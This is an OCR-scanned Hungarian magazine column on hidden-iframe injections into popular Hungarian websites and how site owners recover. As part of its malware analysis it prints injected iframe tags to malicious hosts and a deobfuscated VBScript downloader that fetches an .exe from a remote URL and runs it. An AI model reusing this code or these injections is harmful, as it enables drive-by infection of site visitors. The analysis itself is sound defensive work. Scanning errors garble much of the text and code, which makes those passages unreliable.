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Bejelentett tamado webhely és gyogymaodjai

Sorozatunk huszonhatodik epizodjaban olyan weboldalakkal fogunk foglalkozni, amelyekben
van valami olyasmi, amit nem a készitok tettek bele. J6 kérdés lehet ezek utan: a ,.hogyan
kerilt bele?”, a ,miért nem vettiik észre?”, és az ,.akkor most mit tegyiink?” Nagyjabol ebben

a sorrendben haladva mindent ki fogunk deriteni.

ikksorozatunk korabbi, ti-

zennegyedik epizédjdban

egyszer mar beszéltiink
webalapi kartevékrdl, és megem-
litetttik, hogy szinte barmilyen
weboldalt meg lehet fertézni. Am
ha valaki célzottan szeretne nagy
kért okozni, keresve sem talélhat-
na jobbat ismert, ldtogatott, nagy
forgalmd honlapoknal, ahol egyet-
len kartékony iframe-exploit
beagyazasaval méris kezd6dhet
a kartevok terjesztése. 2009 apri-
lisaban erre a sorsra jutott a felira-
tok.hu, amelyrél DVD-filmek ma-
gyar nyelvd feliratait lehet letélte-
ni. Féleg fiatalok latogatjék ezen
oldalt, akik koziil sokan még nem
annyira veszik komolyan a szami-
togépes biztonsagot. A bedgya-
zott iframe, Ggy tdnik, Gjabban
mar rendre kinai oldalakra mutat,
mondjanak a statisztikak barmit is.
Ha olyan Windows alatti géprél
nézegetjiik, amin az ESET Smart
Security 4.0 fut, szerencsére az
ilyen szokatlan bedgyazasra tizem-
szer(ien figyelmeztet. Ha példaul
Firefox webbongészét haszndlunk,
tobb mas forrasbél is kaphatunk
figyelmeztetést. Ha telepitjiik
a NetCraft Toolbar, a Finjan Secure
Browsing, a Web of Trust, Web
Security Guard vagy a McAfee Si-
teadvisor valamelyikét (vagy mind-
egyikét), akkor ezek is listazzak
a felhasznélék bejelentései alapjan
a weboldalakat, illetve rendsze-

resen frissitett adatbazisuk alap-
jan tudnak minket riasztani. Ma-
guk a felhasznalok a Google-nak is
jelenthetik a weboldal fert6zottsé-
gét, ekkor egy ,Bejelentett tdma-
dé webhely” tizenet is fogadhat
minket az adott oldalra keresve, il-
letve a Firefox alatt ide lépve.

A biinés weboldal esetiinkben
egy Kinaban Best Raymond al-
tal bejegyzett, de litvan szerve-
ren mikodtetett cim. Talan lassd-
ak voltunk — éjjel haromkor jott
a riasztds, és masnap reggel hétkor
mar rajta voltunk az Gigyon —, de
akkorra a letolthetd kartevét mar
—sajnos, vagy hdl" Istennek — elta-
volitottak, igy nem sikertilt elfog-
nunk. Persze azért lathatd, min-
den az eredetileg beszurt litecar-
top.cn oldal tovabbiranyitasan
mdlik, ami id6rél idére valtozéan
mashova kildhet, esetleg figyelhe-
ti és naplozhatja az IP-ket, és min-
dig méashova irdnyithat.

Szol a radio

Tavaly Gsszel egy hasonld iframe-es
tdmadas érte a Roxy radi6 honlap-
jat, ahol szintén kartevéterjesztés-
re hasznaltak fel egy bedgyazott
iframe-blokkot. A Hungarian Unix
Portalon (www.hup.hu) figyelmez-
tették erre a felhaszndalokat, ahol
aztan egy az egyben be is linkel-
ték ezt a gyanis URL-t. Mar maga
az is egy érdekes kozjaték, hogy

a HUP drupalos topikjéba ekkori-

“[JjavaScript-alkalmazas|™ N | x |

b < iframe src='http:j/newlinebiz.rupwhitepage html' style="display:none;'> </iframe=>

|\‘,.EOK‘

@ [Javascript-alkalmazas]’ {ofx

1 <b*eXMO*/id="KBQr'PcXMO*/style="display:none "> <iframe src='http:/fnewlinebiz.ru
4= . Nbravo html' id='10" name="5' style="display:none' align="left'> </iframe></b>

1
‘@OK‘

Ha javascriptes kodot piszkalunk, j6 szolgalatot tehet a Document.Write()
fliiggvények kicserélése Alert()-re. Igy teszteléskor latjuk, mi térténne, mi-

lyen URL-re torténne a tényleges ugras

ban még siman be lehetett szdrni
egy ilyen aktiv kdrtevére mutaté
iframe-es sort, mindenfajta szd-
rés vagy legaldbb formai atalakitas
nélkl. A Roxy weboldala jobba-
ra kevésbé paranoias fiatalok ér-
deklédésére tarthat szamot, és mi-
vel még mindig sokan haszndlnak
Internet Explorert, vagy kétes ere-
detd Windowst — amit ugye nem
frissitenek —, ezért sokan aldozatul
eshettek. Tovabb tetézheti a bajt,
hogy a legtobben még mindig
nem haszndlnak biztonsagi prog-
ramokat sem.

Ha mar sz6ba kertilt a kartékony
oldalak linkje, ezzel is lenne teen-
déje mind a férumok latogatdinak,
mind pedig az adminisztratorok-

nak. Az olvas6knak nem szabadna
613, aktiv kartevére mutaté linke-
ket beszdrni egy nyilvanos férum-
ba, de az adminisztratoroknak is
gondoskodniuk kellene arrél, hogy
ha mér ilyesmi megtorténik, akkor
linkmentes, veszélytelen formaban
kertiljon sor ilyesmire. A mai napig
[tni kiilonféle helyeken ilyen be-
jegyzéseket. Talan ahhoz hasonléan
kellene szabalyozni ezt, mint Svéd-
orszagban a dohanyzast: , Intelli-
gens ember e helytitt nem gydjt rd,
a tobbieknek pedig tilos!”

Megint jonek, kopogtatnak
Az ilyen beszurt iframe-tagek saj-
nos barhol megjelenhetnek, le-
gyen az egy varos weblapja, vagy
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Kapcsolat megszakitva
A kiszolgdidhor vald kapcsolat alaphehyzetbe dit az oldal letiitése kozben,

A haldzat kapcsolat megszakadt a kapcsolatfelwitel kizhen, Probalia meg Uira,

Prébila i |

@ ESET Smart Security

Object:

rsystenn.hu/old,

on terminated - quarantined

A NOD32 és az Eset Smart Security mar akkor is riaszt, ha egy teljesen k6zom-
bés weboldalra mutat egy ilyen gyanus iframe-hivatkozas. Itt a weboldal tar-
talmatol, vagyis a linktdl teljesen fliiggetlenil maga a rejtett iframe-hasznalat

Biztonsigos ',’snfé““_ Atanbcsadis szogitasia Google

Mi iz) bigtopliteworld.cn webhely jelenlegi listizési dllapota?
A wabhely szesepel a gyanis webhelysk listhjin - magiekintdse dnhat szémibplpinsk.

A wabhaly sgy része az eimik 50 nap sorin | alkalomenal & grasds méavelatek Estijin kerdh.

i et akkor, amikor a Google felkerests art 5 webhelyer?
Az dahunk az sl 90 nap soein besctel 3 oldal kizil D oidsl enedményezie kin#iony szoftver le1dllését is lelpiist  fhasznil
engedilye nélkil A Google legutsbbi kitogatisa: 2005-04-22, » webhelyen gyands tartelmat ekicor talibunk utoipirac 2005-06-22

Malicious scware imclodss 16 trojan(s), 12 seripting sxploit{s)
This sbe was hosted on 1 retwork(s) mcheding AS12553

& et & webhely srtalmas
A wubhaly (bigtopkteworid cn a2 skl 30 nap sorin valiszindieg mem mikbdoit kizre sgystlen wabhely megfeddzéstben ssm

Tiralt vz & webhely kirtdkony seoftwn?
igen. Ez & wabhaly kintdkeny s20Rvert tiroll a2 slmil 90 nap soedn. 12 domaint fertSzot meg, kozibi 8 kowetkezte)t oninsgeods) oo,
o0 go thY. dheuzion cony’

Heogyan 1onénheten?
Egyes peatebkbon hammadik fuluk kinskony kidot adhatnak 3 Y , amni azenel

Kevetkezl lépésok:
* ‘Visazatiris az eiizd eidalhoz

Természetesen a Google honlapjan is kaphatunk tajékoztatast, miért tor-
tént meg az adott honlap letiltasa, illetve a Bejelentett tamadoé webhely-

miatt torténik a felismerés

egy orszaggylési politikus webol-
dala — mindkett6 el6fordult mar.
Most egy olyan iframe-kédot mu-
tatunk be, amelyet j6l lathatéan
nemcsak egyszer(ien odabiggyesz-
tettek, hanem gondoskodtak arrdl
is, hogy ha esetleg észre is vesz-
sziik, egy atlag felhasznalénak hal-
vany segédfogalma se legyen, mit
csindlhat pontosan a beszdrt kod-
részlet. Sok szkriptes kdrtevé épit
a zagyva véltozénevekre, a kéd-
halmaz éttekintése és megértése
ilyenkor szinte lehetetlen. Efféle

esetekben csoddkat tehettink mar
azzal is, ha kozérthet, tomor és
logikus valtozonevekre cserél-
jik a zagyvasagokat. Emellett az
Unescape fliggvény hasznalatdval
a mdr dsszezavart (obfuscated)
kédot ki lehet (vagy néha csak
egy fokkal kijjebb) bontani.

A példaprogrambol itt kikédol-
tuk egy C programocskaval a mar
olvashaté véltozatot, és itt mar
azonnal latni lehetett a valddi fo-
lyamatokat. A kinai weboldalrdl
letolt6dé 1.exe nem sejtetett tdl

B Ut Ay Copen e ]|
F&l Scerkesztés Bedlbisok Kikbdolis Sigd
kntma>

<script language="UBScript">
aa="object”

bb="clsid:"

cc="BD9SC556-""

dd="65a3-"

ee="1100-"

FF="983R-"

jj="DOCOUFC29E36™
hh="Hicrosoft."

ii="KHLHTTP"

gg="Scripting."
kk="FileSystemObject™
My="Shell."
Yuyl="Application™
N0L43B663="0pen"

on error resume next

path ="C:\\AUTBEKEC.EXE"
Set df = document.createElement{aa)

str=hh+ii

Set x = df.Createdbject{str,"")
at="Rdo"

az="db."

ad="str

ak="pamn"

stri=atka2ialdtal

stri=stri

set § = df.createobject{strs,”")
S.type = 1

stré="GET"

x.0pen stré, dl, False

*.5Send

set F = df.createobject{gg+kk,")
set tmp = F.GetSpecialFolder(2)
path= F.BuildPath(path)

S.open

S.write x.responseBody
S.savetofile path,2

5.close

set | = df.createobject{My+Yuyu, )
Q.ShellExecute path,”™,"",004%30663,0
</scripty

</html>

dl ="http://c.thec.cn/yanhuo8050/love/Classid=1.exe"

df.setAttribute “classid”, bbecceddepesFFej]

sok jot. Esetlinkben ez
a NOD32 riasztdsa
alapjan egy VBS/Tro-
janDownloader.Agent.
NAB tréjait jelentett,
amit az dllandé véde-
lem szerencsére sikere-
sen haritott. Annyi bi-
zonyos, hogy aki ilyen
zavaros kodot hasznal
a programjaban, an-
nak sététek a szandé-
kai, amit persze gondo-
san el is rejt.

A mellékhatasok
tekintetében...

A roppant kellemetlen
ilyen esetben az, hogy
sosem tudni, hogy

a géptinkre felteleptlt
kértevd, illetve kém-
program pontosan mi-
ket lopott el. Minden
weboldal-hozzaféré-
stink kodjat? Banki jel-

ime a kéd kinyitva, igy mar azonnal ,emberfor-

szavainkat? Belépést
a levelezésiinkhoz?

ként valé mingsités

matéban, hogy a mér tiszta gé-
pen minden jelszavunkat meg-
valtoztatjuk. Lehet, hogy ez
tdlzott 6vatossag, de az is elkép-
zelhet6, hogy kordbbi accountja-
ink mar egy feketepiaci arverési
oldalon szerepelnek.

Apu, hogy megy be?

A legtbb esetben nem kézvetlendl
a weboldalt torik fel, hanem el6z3-
leg egy, a weboldalt médositani ké-
pes munkatdrs gépe fert6z6dik meg
egy kémprogrammal, majd ha a fer-
t6z6tt géprdl FTP-kapcsolaton ke-
resztll belépnek szerverre, akkor
az ott taldlhat6 index, main, defa-
ult nevd PHP, HTML tipust alloma-
nyokba véletlenszerten beirédik ez
az iframe-blokk. Sajnos a sokak al-
tal kedvelt Total Commander a ko-
rabbi verzidiban kédolatlanul (illet-
ve csak gyengén kddolva) térolta az
FTP-jelszavakat, igy ezeket kénnyen
is el lehetett lopni. Csak a 7.5-6s To-
tal Commanderben oldottdk meg
azt, hogy az FTP-kapcsolatok jelsza-

vait megfelel6en kédolva téroljak,
érdemes tehat egyrészt a 7.5 (egye-
|6re beta) valtozatra frissiteni, vala-
mint a haszndlt FTP-jelszavakat gya-
nis esetekben azonnal lecserélni.

Elharitas

Ha egy fert6zott weboldalba
,botlunk”, érdemes egy e-mail-
ben tajékoztatni a webhely ké-
szit6jét, fenntartéjat, hogy tud-
jon a tamadasrdl. Lehet, hogy
mi mér a tizedikek lesziink, de
az is elképzelhets, hogy min-
denki azt gondolja, a masik mar
szolt, és igy aztan senki nem je-
lez. A weboldalak tulajdonosa-
inak az esetek tébbségében fo-
galmuk sincs arrél, hogy tortént
veliik valami incidens. Ha pe-
dig a sajat weboldalunk az ,al-
dozat”, akkor a blog.webpozi-
tiv.hu/bejelentett-tamado-web-
hely-mit-tegyek/ oldal szépen
pontokba szedve mindent el-
mond az ilyen esetekben teen-
dékrél. Akinek tehat a webol-
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‘Windows Command Shell, Bind TCP Infing
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This maulo (6925) was pravided by WadS02 and Stepkan Fawar, under the Metaspicit Framewark

77 windows/shall_band_tcp - 353 bytes
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145, see,

. I maja” a dolog. A kdd 6sszezavarasanak pontosan
A feliratok.hu weboldal sem keriilte el sorsat. A weboldal kodjaba ismeret- ez a célja, elrejteni a valodi tevékenységet, és
lenek kinai weboldalra mutaté lathatatlan iframe-hivatkozast helyeztek a linkeket. Szemlatomast minden ut Kinaba vezet

Amig fel nem fedezik, vagy a weboldal nem keriil tiltélistara, a kartékony
kod minden latogato gépébe megprobal letoltédni. A fejlettebb helyeken
IP-cimfigyelés is van, és kétszer sosem t6ltédik le ugyanaz az allomany

A legjobb, amit tehe-
tink a tisztitds folya-

A JavaScript valoban sok mindenre jo, szerepel a MetaSploit készletben is
a valaszthato nyelvek k6zott
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Ebbdl kodoltuk ki kés6bb egy C programocskaval a fentieket. Itt még sem-
mit sem lehet sejteni a valodi folyamatokbol. Annyi azért vilagosan latszik,
hogy aki ilyen zavaros kodot hasznal, annak s6tétek a szandékai, és van

rejtegetni valéja

dala megfert6zdik, annak ér-
demes itt kezdenie egy alapos
olvasassal a felkészulést a hely-
redllitasi proceddrara. A folya-
mat egyrészt a kod kigyomlalasa-
bél, a weboldal FTP-jelszavanak
haladéktalan megvaltoztatdsabdl,
a webhely kédjéhoz kozvetlendl
hozzaférg kliensgépek virus- és
kémprogramok elleni atvizsgala-
sabol all. Ha bérelt tarhelyen tor-
tént a baleset, akkor értesitstik

a tarhely tizemeltetgjét, ha pedig
sajat szerverrdl van sz6, akkor

a napléfdjlok vizsgalata, szoftver-
frissités, és a mar korabban emli-
tett kartevévizsgalat var rank. Ek-
kor, és csak ekkor kovetkezhet
legvégiil a Google rendszerében
az immdr tiszta webhely-statusz
visszaallitasanak kérelmezése.

Az oldal megtisztitasanak beje-
lentése a Google Webmesteresz-
kozok szolgaltatasndl végezhe-
t6 el, ehhez regisztralnunk kell
erre a szolgaltatasra. It kérhetjlk

a webhely Gjrafelvételét a www.
google.com/webmasters/tools/
reconsideration cimen.

Ez utébbinal dltalaban 1-7 na-
pos atfutasi idével szamoljunk,
vagyis nem biztos, hogy rogton
az [Enter] lelitése utan el lesz ta-
volitva a Bejelentett Tamado
Webhely matrica.

Es végiil ezt ugyan egy lefras sem
emlitette, de nem butasag a teljes
webszerver atnézése, hogy a sajat
fajljainkban nem torténtek-e to-
vabbi médositasok, illetve ezeken
felil a hozzéaférés birtokdban nem
taroltak-e rajta valamilyen idegen,
illegdlis anyagot is.

Tanulsagok, ha vannak -
marpedig vannak!

Tanulsag taldn annyi lehet, hogy
egyrészt az ,Ovatossag nem bizal-
matlansag”, valamint az ,én, ké-
rem, csak megbizhat6 webhelye-
ket ldtogatok, ezért nem is eshet
semmi bajom” szlogeneket Gjfent

@ ESET Smart Security
Objektum:
Cheicar\ad\unel.une
Kartevé:

VBS/TrojanDownloader.Agent.NAB trdjai

Informaciok:

torléssel megtisztitva - karanténba helyezve

F8 Torlés

"a®

Alt+F4 I(llepes

'&Ua%l. YOW; pi 15:25

Akar mi kddoljuk vissza manualisan a valodi szkripttartalmat, akar futtatjuk
azt eredeti formajaban, a NOD32 masodszor is riaszt, ekkor mar a konkrét
linken talalhato trojai kartevé akad fent a halojaban

KAPCSOLODO WEBOLDALAK

Az ESET magyar nyelv( viruslexikona: www.eset.hu/virus

Text Unescape Utility: www.linkedresources.com/tools/unescaper_v0.2b1
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?i_ Bejelentett timadd webhely!

~Bejelentett tamado webhely” - ezt a cimkét kapja az a weboldal, amelynek
tulajdonosa nem veszi észre idejében, hogy weboldala mar nem csak az 6vé.
Valdjaban ez egy roppant hasznos modszer, amelynél a latogatoé kézosség
észrevétele, bejelentése hivja fel a tulajdonos figyelmét a problémara

eredményesen céfoltuk. Tovabbi
hasznos szokésok lehetnek a min-
den bongészés utani cache-irités,
a session cookie-k torlése (ame-
lyek ugye bizonyos koriilmények
kozt ellophaték). Mivel a kérte-
vk java része internetes bongé-
szés soran keriil a Windowsok-
ba, ezért erésen javasolt a napra-
kész virusvédelmi program, vagy
internetbiztonsagi csomag haszna-
lata, valamint néhany biztonsaggal
kapcsolatos plugin telepitése. Ezek
kozul a teljesség igénye nélkiil,

de taldn a legfontosabbakat meg-
emlitjik a Firefox bongész6hoz:
NoScript (722), NetCraft Toolbar
(1326), ShowlP (590), Adaptive
Referer Remover (1093), Cache
Status (1881), CookieSafe (2497),
Live HTTP headers (3829), JSView
(2076), Secure Login (4429), XSS

FI7A RRSHELRT HU0R,

Egyre gyakonth lentéy 22 intemeten. amikor 2" Bejelrtet: tmadd
webhely” feliratt:a Othéxtrk. Ezen b +
mde skt probléma eihdrkhsbral

etathen is T 3labed megoldinok [avasoak

Mirci is van 8367

=m & honlapot fultatd s2erver
dalhor nozzaéressel rendelkezd

AILIE AT 3 bejelentis

amereviemeare lementett kidalatian for Par

i egy smeretien helwre, vagy mr sieve slopla

Guardian (4774) és XSS Warning
(5589). (A zaréjelek kozt taldlhat6
szdmokat az addons.mozilla.org/
hu/firefox/addon/xxx cim ,xxx"-e
helyére kell frni.) A NoScript bealli-
tasok kozt olyan finomsagokat is ta-
ldlhatunk, mint példaul az iframe-
elemek tiltdsa, ezért talan ezt

a beéplilét nevezhetjiik a legfon-
tosabbnak az itt felsoroltak koziil.

%%k

Kérjiik kedves olvaséinkat, ha
a témaban kérdésiik, hozzaszoé-
lasuk van, juttassdk el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsad6
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

A blog.webpozitiv.hu/bejelentett-tamado-webhely-mit-tegyek/ egy miné-
ségi, jol 6sszeszedett weboldal, amely szépen pontokba szedve mindent
elmond az iframe-tamadasi esetekrdl. Aki aldozatul esik, annak érdemes itt
kezdenie alapos olvasassal a felkésziilést a helyreallitasi procedtrara



